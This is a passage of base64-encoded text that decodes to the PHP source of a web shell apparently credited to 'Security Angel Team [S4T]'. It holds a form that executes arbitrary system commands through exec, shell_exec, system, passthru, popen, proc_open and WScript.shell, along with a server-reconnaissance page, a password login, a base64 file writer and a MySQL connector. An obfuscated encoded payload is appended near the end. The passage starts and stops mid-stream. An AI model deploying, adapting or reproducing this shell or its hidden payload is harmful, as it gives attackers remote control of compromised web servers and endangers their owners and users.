U19DT00pIHsKCQkkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2Ny
aXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7CgkJbWFrZXNlbGVjdChh
cnJheSgndGl0bGUnPT4nVXNlOicsJ25hbWUnPT4nZXhlY2Z1bmMnLCdvcHRpb24nPT4kZXhlY2Z1
bmNkYiwnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMsJ25ld2xpbmUnPT4xKSk7Cgl9CglwKCc8cD4nKTsK
CW1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nQ29tbWFuZCcsJ25hbWUnPT4nY29tbWFuZCcsJ3Zh
bHVlJz0+JGNvbW1hbmQpKTsKCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFz
cyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsKCXAoJzwvcD4n
KTsKCWZvcm1mb290KCk7CgoJaWYgKCRjb21tYW5kKSB7CgkJcCgnPGhyIHdpZHRoPSIxMDAlIiBu
b3NoYWRlIC8+PHByZT4nKTsKCQlpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYm
IElTX0NPTSkgewoJCQkkd3NoID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwoJCQkkZXhlYyA9
ICR3c2gtPmV4ZWMoJ2NtZC5leGUgL2MgJy4kY29tbWFuZCk7CgkJCSRzdGRvdXQgPSAkZXhlYy0+
U3RkT3V0KCk7CgkJCSRzdHJvdXRwdXQgPSAkc3Rkb3V0LT5SZWFkQWxsKCk7CgkJCWVjaG8gJHN0
cm91dHB1dDsKCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYg
SVNfQ09NKSB7CgkJCSRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KAoJCQkgICAwID0+IGFycmF5KCdw
aXBlJywgJ3InKSwKCQkJICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksCgkJCSAgIDIgPT4gYXJy
YXkoJ3BpcGUnLCAndycpCgkJCSk7CgkJCSRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydD
T01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCQkJaWYgKGlzX3Jlc291cmNlKCRw
cm9jZXNzKSkgewoJCQkJZndyaXRlKCRwaXBlc1swXSwgJGNvbW1hbmQuIlxyXG4iKTsKCQkJCWZ3
cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOwoJCQkJZmNsb3NlKCRwaXBlc1swXSk7CgkJCQl3
aGlsZSAoIWZlb2YoJHBpcGVzWzFdKSkgewoJCQkJCWVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0
KTsKCQkJCX0KCQkJCWZjbG9zZSgkcGlwZXNbMV0pOwoJCQkJd2hpbGUgKCFmZW9mKCRwaXBlc1sy
XSkpIHsKCQkJCQllY2hvIGZnZXRzKCRwaXBlc1syXSwgMTAyNCk7CgkJCQl9CgkJCQlmY2xvc2Uo
JHBpcGVzWzJdKTsKCQkJCXByb2NfY2xvc2UoJHByb2Nlc3MpOwoJCQl9CgkJfSBlbHNlIHsKCQkJ
ZWNobyhleGVjdXRlKCRjb21tYW5kKSk7CgkJfQoJCXAoJzwvcHJlPicpOwoJfQp9Ly9lbmQgc2hl
bGwKCmVsc2VpZiAoJGFjdGlvbiA9PSAncGhwZW52JykgewoJJHVwc2l6ZT1nZXRjZmcoJ2ZpbGVf
dXBsb2FkcycpID8gZ2V0Y2ZnKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgOiAnTm90IGFsbG93ZWQn
OwoJJGFkbWlubWFpbD1pc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10pID8gJF9TRVJWRVJb
J1NFUlZFUl9BRE1JTiddIDogZ2V0Y2ZnKCdzZW5kbWFpbF9mcm9tJyk7CgkhJGRpc19mdW5jICYm
ICRkaXNfZnVuYyA9ICdObyc7CgkkaW5mbyA9IGFycmF5KAoJCTEgPT4gYXJyYXkoJ1NlcnZlciBU
aW1lJyxkYXRlKCdZL20vZCBoOmk6cycsJHRpbWVzdGFtcCkpLAoJCTIgPT4gYXJyYXkoJ1NlcnZl
ciBEb21haW4nLCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKSwKCQkzID0+IGFycmF5KCdTZXJ2ZXIg
SVAnLGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSwKCQk0ID0+IGFycmF5
KCdTZXJ2ZXIgT1MnLFBIUF9PUyksCgkJNSA9PiBhcnJheSgnU2VydmVyIE9TIENoYXJzZXQnLCRf
U0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSwKCQk2ID0+IGFycmF5KCdTZXJ2ZXIgU29m
dHdhcmUnLCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSksCgkJNyA9PiBhcnJheSgnU2VydmVy
IFdlYiBQb3J0JywkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSksCgkJOCA9PiBhcnJheSgnUEhQIHJ1
biBtb2RlJyxzdHJ0b3VwcGVyKHBocF9zYXBpX25hbWUoKSkpLAoJCTkgPT4gYXJyYXkoJ1RoZSBm
aWxlIHBhdGgnLF9fRklMRV9fKSwKCgkJMTAgPT4gYXJyYXkoJ1BIUCBWZXJzaW9uJyxQSFBfVkVS
U0lPTiksCgkJMTEgPT4gYXJyYXkoJ1BIUElORk8nLChJU19QSFBJTkZPID8gJzxhIGhyZWY9Imph
dmFzY3JpcHQ6Z29hY3Rpb24oXCdwaHBpbmZvXCcpOyI+WWVzPC9hPicgOiAnTm8nKSksCgkJMTIg
PT4gYXJyYXkoJ1NhZmUgTW9kZScsZ2V0Y2ZnKCdzYWZlX21vZGUnKSksCgkJMTMgPT4gYXJyYXko
J0FkbWluaXN0cmF0b3InLCRhZG1pbm1haWwpLAoJCTE0ID0+IGFycmF5KCdhbGxvd191cmxfZm9w
ZW4nLGdldGNmZygnYWxsb3dfdXJsX2ZvcGVuJykpLAoJCTE1ID0+IGFycmF5KCdlbmFibGVfZGwn
LGdldGNmZygnZW5hYmxlX2RsJykpLAoJCTE2ID0+IGFycmF5KCdkaXNwbGF5X2Vycm9ycycsZ2V0
Y2ZnKCdkaXNwbGF5X2Vycm9ycycpKSwKCQkxNyA9PiBhcnJheSgncmVnaXN0ZXJfZ2xvYmFscycs
Z2V0Y2ZnKCdyZWdpc3Rlcl9nbG9iYWxzJykpLAoJCTE4ID0+IGFycmF5KCdtYWdpY19xdW90ZXNf
Z3BjJyxnZXRjZmcoJ21hZ2ljX3F1b3Rlc19ncGMnKSksCgkJMTkgPT4gYXJyYXkoJ21lbW9yeV9s
aW1pdCcsZ2V0Y2ZnKCdtZW1vcnlfbGltaXQnKSksCgkJMjAgPT4gYXJyYXkoJ3Bvc3RfbWF4X3Np
emUnLGdldGNmZygncG9zdF9tYXhfc2l6ZScpKSwKCQkyMSA9PiBhcnJheSgndXBsb2FkX21heF9m
aWxlc2l6ZScsJHVwc2l6ZSksCgkJMjIgPT4gYXJyYXkoJ21heF9leGVjdXRpb25fdGltZScsZ2V0
Y2ZnKCdtYXhfZXhlY3V0aW9uX3RpbWUnKS4nIHNlY29uZChzKScpLAoJCTIzID0+IGFycmF5KCdk
aXNhYmxlX2Z1bmN0aW9ucycsJGRpc19mdW5jKSwKCSk7CgoJaWYoJHBocHZhcm5hbWUpIHsKCQlt
KCRwaHB2YXJuYW1lIC4nIDogJy5nZXRjZmcoJHBocHZhcm5hbWUpKTsKCX0KCglmb3JtaGVhZChh
cnJheSgndGl0bGUnPT4nU2VydmVyIGVudmlyb25tZW50JykpOwoJbWFrZWhpZGUoJ2FjdGlvbics
J3BocGVudicpOwoJbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidQbGVhc2UgaW5wdXQgUEhQIGNv
bmZpZ3VyYXRpb24gcGFyYW1ldGVyKGVnOm1hZ2ljX3F1b3Rlc19ncGMpJywnbmFtZSc9PidwaHB2
YXJuYW1lJywndmFsdWUnPT4kcGhwdmFybmFtZSwnbmV3bGluZSc9PjEpKTsKCWZvcm1mb290ZXIo
KTsKCgkkaHAgPSBhcnJheSgwPT4gJ1NlcnZlcicsIDE9PiAnUEhQJyk7Cglmb3IoJGE9MDskYTwy
OyRhKyspIHsKCQlwKCc8aDI+Jy4kaHBbJGFdLicgJnJhcXVvOzwvaDI+Jyk7CgkJcCgnPHVsIGNs
YXNzPSJpbmZvIj4nKTsKCQlpZiAoJGE9PTApIHsKCQkJZm9yKCRpPTE7JGk8PTk7JGkrKykgewoJ
CQkJcCgnPGxpPjx1PicuJGluZm9bJGldWzBdLic6PC91PicuJGluZm9bJGldWzFdLic8L2xpPicp
OwoJCQl9CgkJfSBlbHNlaWYgKCRhID09IDEpIHsKCQkJZm9yKCRpPTEwOyRpPD0yMzskaSsrKSB7
CgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+
Jyk7CgkJCX0KCQl9CgkJcCgnPC91bD4nKTsKCX0KfS8vZW5kIHBocGVudgoKZWxzZSB7CgltKCdV
bmRlZmluZWQgQWN0aW9uJyk7Cn0KCj8+CjwvdGQ+PC90cj48L3RhYmxlPgo8ZGl2IHN0eWxlPSJw
YWRkaW5nOjEwcHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2ZmZjtib3JkZXItdG9wOjFweCBz
b2xpZCAjZGRkO2JhY2tncm91bmQ6I2VlZTsiPgoJPHNwYW4gc3R5bGU9ImZsb2F0OnJpZ2h0OyI+
PD9waHAgZGVidWdpbmZvKCk7b2JfZW5kX2ZsdXNoKCk7Pz48L3NwYW4+CglDb3B5cmlnaHQgKEMp
IDIwMDQtMjAwOCA8YSBocmVmPSJodHRwOi8vd3d3LjRuZ2VsLm5ldCIgdGFyZ2V0PSJfYmxhbmsi
PlNlY3VyaXR5IEFuZ2VsIFRlYW0gW1M0VF08L2E+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuCjwvZGl2
Pgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgovKj09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PQp8JiMxMDg3Oy0gKyYjMTA5MDsKPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KCmZ1bmN0aW9uIG0o
JG1zZykgewoJZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojZjFmMWYxO2JvcmRlcjoxcHgg
c29saWQgI2RkZDtwYWRkaW5nOjE1cHg7Zm9udDoxNHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQt
d2VpZ2h0OmJvbGQ7Ij4nOwoJZWNobyAkbXNnOwoJZWNobyAnPC9kaXY+JzsKfQpmdW5jdGlvbiBz
Y29va2llKCRrZXksICR2YWx1ZSwgJGxpZmUgPSAwLCAkcHJlZml4ID0gMSkgewoJZ2xvYmFsICRh
ZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7Cgkka2V5ID0gKCRwcmVmaXggPyAkYWRtaW5bJ2Nv
b2tpZXByZSddIDogJycpLiRrZXk7CgkkbGlmZSA9ICRsaWZlID8gJGxpZmUgOiAkYWRtaW5bJ2Nv
b2tpZWxpZmUnXTsKCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8g
MSA6IDA7CglzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGltZXN0YW1wKyRsaWZlLCAkYWRtaW5b
J2Nvb2tpZXBhdGgnXSwgJGFkbWluWydjb29raWVkb21haW4nXSwgJHVzZXBvcnQpOwp9CmZ1bmN0
aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgewoJJG11bHRp
cGFnZSA9ICcnOwoJaWYoJG51bSA+ICRwZXJwYWdlKSB7CgkJJHBhZ2UgPSAxMDsKCQkkb2Zmc2V0
ID0gNTsKCQkkcGFnZXMgPSBAY2VpbCgkbnVtIC8gJHBlcnBhZ2UpOwoJCWlmKCRwYWdlID4gJHBh
Z2VzKSB7CgkJCSRmcm9tID0gMTsKCQkJJHRvID0gJHBhZ2VzOwoJCX0gZWxzZSB7CgkJCSRmcm9t
ID0gJGN1cnBhZ2UgLSAkb2Zmc2V0OwoJCQkkdG8gPSAkY3VycGFnZSArICRwYWdlIC0gJG9mZnNl
dCAtIDE7CgkJCWlmKCRmcm9tIDwgMSkgewoJCQkJJHRvID0gJGN1cnBhZ2UgKyAxIC0gJGZyb207
CgkJCQkkZnJvbSA9IDE7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRm
cm9tKSA8ICRwYWdlcykgewoJCQkJCSR0byA9ICRwYWdlOwoJCQkJfQoJCQl9IGVsc2VpZigkdG8g
PiAkcGFnZXMpIHsKCQkJCSRmcm9tID0gJGN1cnBhZ2UgLSAkcGFnZXMgKyAkdG87CgkJCQkkdG8g
PSAkcGFnZXM7CgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8
ICRwYWdlcykgewoJCQkJCSRmcm9tID0gJHBhZ2VzIC0gJHBhZ2UgKyAxOwoJCQkJfQoJCQl9CgkJ
fQoJCSRtdWx0aXBhZ2UgPSAoJGN1cnBhZ2UgLSAkb2Zmc2V0ID4gMSAmJiAkcGFnZXMgPiAkcGFn
ZSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdc
JywgMSk7Ij5GaXJzdDwvYT4gJyA6ICcnKS4oJGN1cnBhZ2UgPiAxID8gJzxhIGhyZWY9ImphdmFz
Y3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLigkY3VycGFnZSAtIDEp
LicpOyI+UHJldjwvYT4gJyA6ICcnKTsKCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsr
KSB7CgkJCSRtdWx0aXBhZ2UgLj0gJGkgPT0gJGN1cnBhZ2UgPyAkaS4nICcgOiAnPGEgaHJlZj0i
amF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJGkuJyk7Ij5b
Jy4kaS4nXTwvYT4gJzsKCQl9CgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAn
PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcu
KCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEg
aHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBh
Z2VzLicpOyI+TGFzdDwvYT4nIDogJycpOwoJCSRtdWx0aXBhZ2UgPSAkbXVsdGlwYWdlID8gJzxw
PlBhZ2VzOiAnLiRtdWx0aXBhZ2UuJzwvcD4nIDogJyc7Cgl9CglyZXR1cm4gJG11bHRpcGFnZTsK
fQovLyB8fC0rKyYjMTA5OTsrKwpmdW5jdGlvbiBsb2dpbnBhZ2UoKSB7Cj8+Cgk8c3R5bGUgdHlw
ZT0idGV4dC9jc3MiPgoJaW5wdXQge2ZvbnQ6MTFweCBWZXJkYW5hO0JBQ0tHUk9VTkQ6ICNGRkZG
RkY7aGVpZ2h0OiAxOHB4O2JvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7fQoJPC9zdHlsZT4KCTxm
b3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPgoJPHNwYW4gc3R5bGU9ImZvbnQ6MTFweCBWZXJk
YW5hOyI+UGFzc3dvcmQ6IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3
b3JkIiBzaXplPSIyMCI+Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkb2luZyIgdmFsdWU9
ImxvZ2luIj4KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+Cgk8L2Zvcm0+Cjw/
cGhwCglleGl0Owp9Ly9lbmQgbG9naW5wYWdlKCkKCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgewoJ
JHJlcyA9ICcnOwoJaWYgKCRjZmUpIHsKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewoJ
CQlAZXhlYygkY2ZlLCRyZXMpOwoJCQkkcmVzID0gam9pbigiXG4iLCRyZXMpOwoJCX0gZWxzZWlm
KGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CgkJCSRyZXMgPSBAc2hlbGxfZXhlYygk
Y2ZlKTsKCQl9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CgkJCUBvYl9zdGFy
dCgpOwoJCQlAc3lzdGVtKCRjZmUpOwoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwoJCQlA
b2JfZW5kX2NsZWFuKCk7CgkJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7
CgkJCUBvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNmZSk7CgkJCSRyZXMgPSBAb2JfZ2V0X2Nv
bnRlbnRzKCk7CgkJCUBvYl9lbmRfY2xlYW4oKTsKCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYg
PSBAcG9wZW4oJGNmZSwiciIpKSkgewoJCQkkcmVzID0gJyc7CgkJCXdoaWxlKCFAZmVvZigkZikp
IHsKCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOwoJCQl9CgkJCUBwY2xvc2UoJGYpOwoJCX0K
CX0KCXJldHVybiAkcmVzOwp9CmZ1bmN0aW9uIHdoaWNoKCRwcikgewoJJHBhdGggPSBleGVjdXRl
KCJ3aGljaCAkcHIiKTsKCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7Cn0KCmZ1bmN0aW9u
IGNmKCRmbmFtZSwkdGV4dCl7CglpZigkZnA9QGZvcGVuKCRmbmFtZSwndycpKSB7CgkJQGZwdXRz
KCRmcCxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwoJCUBmY2xvc2UoJGZwKTsKCX0KfQoKLy8gLXx8
JiMxMDk0O3wmIzExMTg7LSstKy0mIzEwNzQ7CmZ1bmN0aW9uIGRlYnVnaW5mbygpIHsKCWdsb2Jh
bCAkc3RhcnR0aW1lOwoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKCSR0b3Rh
bHRpbWUgPSBudW1iZXJfZm9ybWF0KCgkbXRpbWVbMV0gKyAkbXRpbWVbMF0gLSAkc3RhcnR0aW1l
KSwgNik7CgllY2hvICdQcm9jZXNzZWQgaW4gJy4kdG90YWx0aW1lLicgc2Vjb25kKHMpJzsKfQoK
Ly8tJiMxMDg0OysrLSArfCsmIzEwOTA7CmZ1bmN0aW9uIGRiY29ubigkZGJob3N0LCRkYnVzZXIs
JGRicGFzcywkZGJuYW1lPScnLCRjaGFyc2V0PScnLCRkYnBvcnQ9JzMzMDYnKSB7CglpZighJGxp
bmsgPSBAbXlzcWxfY29ubmVjdCgkZGJob3N0Lic6Jy4kZGJwb3J0LCAkZGJ1c2VyLCAkZGJwYXNz
KSkgewoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsKCQll
eGl0OwoJfQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgewoJCWlmICghQG15c3FsX3NlbGVjdF9kYigk
ZGJuYW1lLCAkbGluaykpIHsKCQkJcCgnPGgyPkRhdGFiYXNlIHNlbGVjdGVkIGhhcyBlcnJvcjwv
aDI+Jyk7CgkJCWV4aXQ7CgkJfQoJfQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZv
KCkgPiAnNC4xJykgewoJCWlmKGluX2FycmF5KHN0cnRvbG93ZXIoJGNoYXJzZXQpLCBhcnJheSgn
Z2JrJywgJ2JpZzUnLCAndXRmOCcpKSkgewoJCQlxKCJTRVQgY2hhcmFjdGVyX3NldF9jb25uZWN0
aW9uPSRjaGFyc2V0LCBjaGFyYWN0ZXJfc2V0X3Jlc3VsdHM9JGNoYXJzZXQsIGNoYXJhY3Rlcl9z
ZXRfY2xpZW50PWJpbmFyeTsiLCAkbGluayk7CgkJfQoJfQoJcmV0dXJuICRsaW5rOwp9CgovLyAr
JiMxMDc3O3wmIzEwMzE7KyYjMTA4MjstJiMxMDkzOysrKyAKZnVuY3Rpb24gc19hcnJheSgmJGFy
cmF5KSB7CglpZiAoaXNfYXJyYXkoJGFycmF5KSkgewoJCWZvcmVhY2ggKCRhcnJheSBhcyAkayA9
PiAkdikgewoJCQkkYXJyYXlbJGtdID0gc19hcnJheSgkdik7CgkJfQoJfSBlbHNlIGlmIChpc19z
dHJpbmcoJGFycmF5KSkgewoJCSRhcnJheSA9IHN0cmlwc2xhc2hlcygkYXJyYXkpOwoJfQoJcmV0
dXJuICRhcnJheTsKfQoKLy8gfCYjMTA5Mzt8IEhUTUx8IC0mIzEwOTk7CmZ1bmN0aW9uIGh0bWxf
Y2xlYW4oJGNvbnRlbnQpIHsKCSRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCk7
CgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCJcbiIsICI8YnIgLz4iLCAkY29udGVudCk7CgkkY29u
dGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7CgkkY29u
dGVudCA9IHN0cl9yZXBsYWNlKCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkY29u
dGVudCk7CglyZXR1cm4gJGNvbnRlbnQ7Cn0KCi8vICsmIzExMDU7KyYjMTA3MzsrJiMxMDgwOy18
CmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7CglyZXR1cm4gc3Vic3RyKGJhc2VfY29udmVy
dChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOwp9CgpmdW5jdGlvbiBnZXRQZXJtcygk
ZmlsZXBhdGgpIHsKCSRtb2RlID0gQGZpbGVwZXJtcygkZmlsZXBhdGgpOwoJaWYgKCgkbW9kZSAm
IDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30KCWVsc2VpZiAoKCRtb2RlICYgMHg0
MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAnZCc7fQoJZWxzZWlmICgoJG1vZGUgJiAweEEwMDAp
ID09PSAweEEwMDApIHskdHlwZSA9ICdsJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09
IDB4ODAwMCkgeyR0eXBlID0gJy0nO30KCWVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2
MDAwKSB7JHR5cGUgPSAnYic7fQoJZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDAp
IHskdHlwZSA9ICdjJzt9CgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0
eXBlID0gJ3AnO30KCWVsc2UgeyR0eXBlID0gJz8nO30KCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9k
ZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsKCSRvd25lclsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMjAw
KSA/ICd3JyA6ICctJzsKCSRvd25lclsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAxMDApID8gJ3gn
IDogJy0nOwoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7Cgkk
Z3JvdXBbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CgkkZ3JvdXBbJ2V4
ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsKCSR3b3JsZFsncmVhZCddID0g
KCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOwoJJHdvcmxkWyd3cml0ZSddID0gKCRtb2RlICYg
MDAwMDIpID8gJ3cnIDogJy0nOwoJJHdvcmxkWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDAwMSkg
PyAneCcgOiAnLSc7CgoJaWYoICRtb2RlICYgMHg4MDAgKSB7JG93bmVyWydleGVjdXRlJ10gPSAo
JG93bmVyWydleGVjdXRlJ109PSd4JykgPyAncycgOiAnUyc7fQoJaWYoICRtb2RlICYgMHg0MDAg
KSB7JGdyb3VwWydleGVjdXRlJ10gPSAoJGdyb3VwWydleGVjdXRlJ109PSd4JykgPyAncycgOiAn
Uyc7fQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydl
eGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQoKCXJldHVybiAkdHlwZS4kb3duZXJbJ3JlYWQn
XS4kb3duZXJbJ3dyaXRlJ10uJG93bmVyWydleGVjdXRlJ10uJGdyb3VwWydyZWFkJ10uJGdyb3Vw
Wyd3cml0ZSddLiRncm91cFsnZXhlY3V0ZSddLiR3b3JsZFsncmVhZCddLiR3b3JsZFsnd3JpdGUn
XS4kd29ybGRbJ2V4ZWN1dGUnXTsKfQoKZnVuY3Rpb24gZ2V0VXNlcigkZmlsZXBhdGgpCXsKCWlm
IChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKCQkkYXJyYXkgPSBAcG9zaXhf
Z2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZXBhdGgpKTsKCQlpZiAoJGFycmF5ICYmIGlzX2FycmF5
KCRhcnJheSkpIHsKCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJy
YXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBV
aWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYj
MTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10u
JyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwv
YT4nO319CXJldHVybiAnJzt9JF9GPV9fRklMRV9fOyRfWD0nUHo0OGMyTnlOSEIwSUd3eGJtY3pN
V2MxUFdveGRqRnpZM0kwY0hRK1pESmpNMjAxYm5RdWQzSTBkRFVvTTI0MWMyTXhjRFVvSnlWdlF5
VTNieVZsYnlVM1lTVmxPU1UzTUNVM2RTVmhNQ1ZsUXlWbE5pVmxSU1ZsTnlVM2FTVmxOaVZsTnlW
bGFTVnZSQ1ZoWVNWbFFTVmxOaVUzWlNWbE5pVTNieVZsYnlVM1lTVmxPU1UzTUNVM2RTVmhZU1Z2
UlNWbFpTVTNhU1ZsUlNWbGJ5VTNkU1ZsT1NWbFJpVmxSU1ZoTUNWbGRTVjFaU1ZoT0NVM2J5VmhP
U1UzUWlVM1pTVmxOaVUzWVNWaE1DVTNieVZ2TmlWdlJDVTNhU1ZsUlNWbGFTVTNieVZsYnlWbE5p
VTNNQ1ZsYVNWaE9DVTNieVZoUlNVM2J5VTNhU1ZsWVNVM2J5VTNkU1UzWVNWaE9DVnZNQ1ZoUXlV
M2J5VmhSU1ZsUXlWbGFTVmxSU1ZsTnlVM2RTVmxPQ1ZoUkNWdk5pVmhPU1ZoT1NWdlFpVmhNQ1Uz
WlNWbE5pVTNZU1ZoTUNVM2RTVnZSQ1ZoTnlWaE55VnZRaVZsWlNWbFJpVTNZU1ZoT0NWbE9TVnZS
Q1Z2TUNWdlFpVmxPU1Z2UXlVM2J5VnZOaVZoUlNWbFF5VmxhU1ZsUlNWbE55VTNkU1ZsT0NWdlFp
VmxPU1ZoUWlWaFFpVmhPU1UzZFNWaFFpVnZSQ1ZwYnlVM2RTVTNZU1ZsT1NWbFJTVmxOeVZoUlNW
bFpTVTNZU1ZsUmlWbFJDVjFieVZsT0NWbE5pVTNZU1YxYnlWbFJpVmxkU1ZsYVNWaE9DVTNieVZ2
TmlWaFJTVmxieVZsT0NWbE5pVTNZU1YxYnlWbFJpVmxkU1ZsYVNWMU5pVTNkU1ZoT0NWbE9TVmhP
U1ZoUkNVM2J5VmhSU1UzYnlVM2FTVmxZU1UzYnlVM2RTVTNZU1ZoT0NVM2J5VmhSU1ZsUXlWbGFT
VmxSU1ZsTnlVM2RTVmxPQ1ZoUkNWdk5pVmhReVZ2TmlWaE9TVmhPU1Z2UWlWbGRTVmxSaVZsYnlV
